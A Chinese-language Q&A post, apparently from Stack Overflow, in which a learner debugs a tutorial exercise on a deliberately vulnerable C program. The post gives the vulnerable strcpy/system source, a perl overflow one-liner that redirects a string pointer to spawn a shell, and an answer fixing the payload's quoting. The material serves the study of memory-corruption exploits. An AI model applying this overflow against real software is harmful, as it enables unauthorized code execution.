我正在解决 Tilo Muller 的 “ASLR Smack & Laugh Reference” 中的问题 5.1(字符串指针),并生成以下错误:
sh: 1: Syntax error: ")" unexpected
当 shell 脚本尝试运行 /bin/sh 时。易受攻击的代码(strptr.c):
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[1])
{
char input[256];
char* conf = "test -f ~/.progrc";
char* license = "THIS SOFTWARE IS...";
printf(license);
strcpy(input, argv[1]);
if (system(conf)) printf("Missing .progrc");
}
攻击者覆盖input缓冲区,并将堆栈上conf的地址替换为license的地址。使用 gdb,我们确定 license 的地址是 0x08048582,并且通过将 license 的地址放在堆栈上,系统调用将尝试将 "THIS" 解释为可执行文件。环境路径中有一个名为“THIS”的可执行(chmod 777)bash脚本,我已经能够多次覆盖conf的字符串指针,但是当系统尝试执行“THIS”时收到以下输出:
$ ./strptr `perl -e 'print "A"x256; print "\x82\x85\04\08"'
sh: 1: Syntax error: ")" unexpected
THIS SOFTWARE IS...Missing .progrc
shell 脚本“THIS”:
#!/bin/sh
/bin/sh
自然地,我开始搜索类似错误的描述,并阅读以下内容:
2 - bash-script-process-substitution-syntax-error-unexpected
4 - 为什么进程替换在 shell 脚本中不起作用;并不是说我的脚本中有进程重定向,但你永远不知道什么时候你会偶然发现你需要的东西:)
我还查看了 man system() 页面,但没有找到任何与我的问题相关的内容。
我正在 ubuntu 上测试这段代码:
Linux user-VirtualBox 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:00 UTC 2021 i686 i686 i686 GNU/Linux
我在主机上尝试了不同的 shell(sh、bash、dash)并收到了相同的错误。我还在脚本中测试了其他 shell 命令(日期、id 和 ifconfig)并生成了相同的错误。 “THIS” 脚本从命令行运行时没有错误。
通读堆栈溢出,有很多类似的问题,但没有一个潜在的提示能够解决。感谢您的耐心和帮助。
您的示例中似乎有不平衡的引号,使用了已弃用的反引号,我猜它缺少一些
\x
然后生成 NUL 字节,请尝试:
$ ./strptr $(perl -e 'print "A"x256; print "\x82\x85\x04\x08"')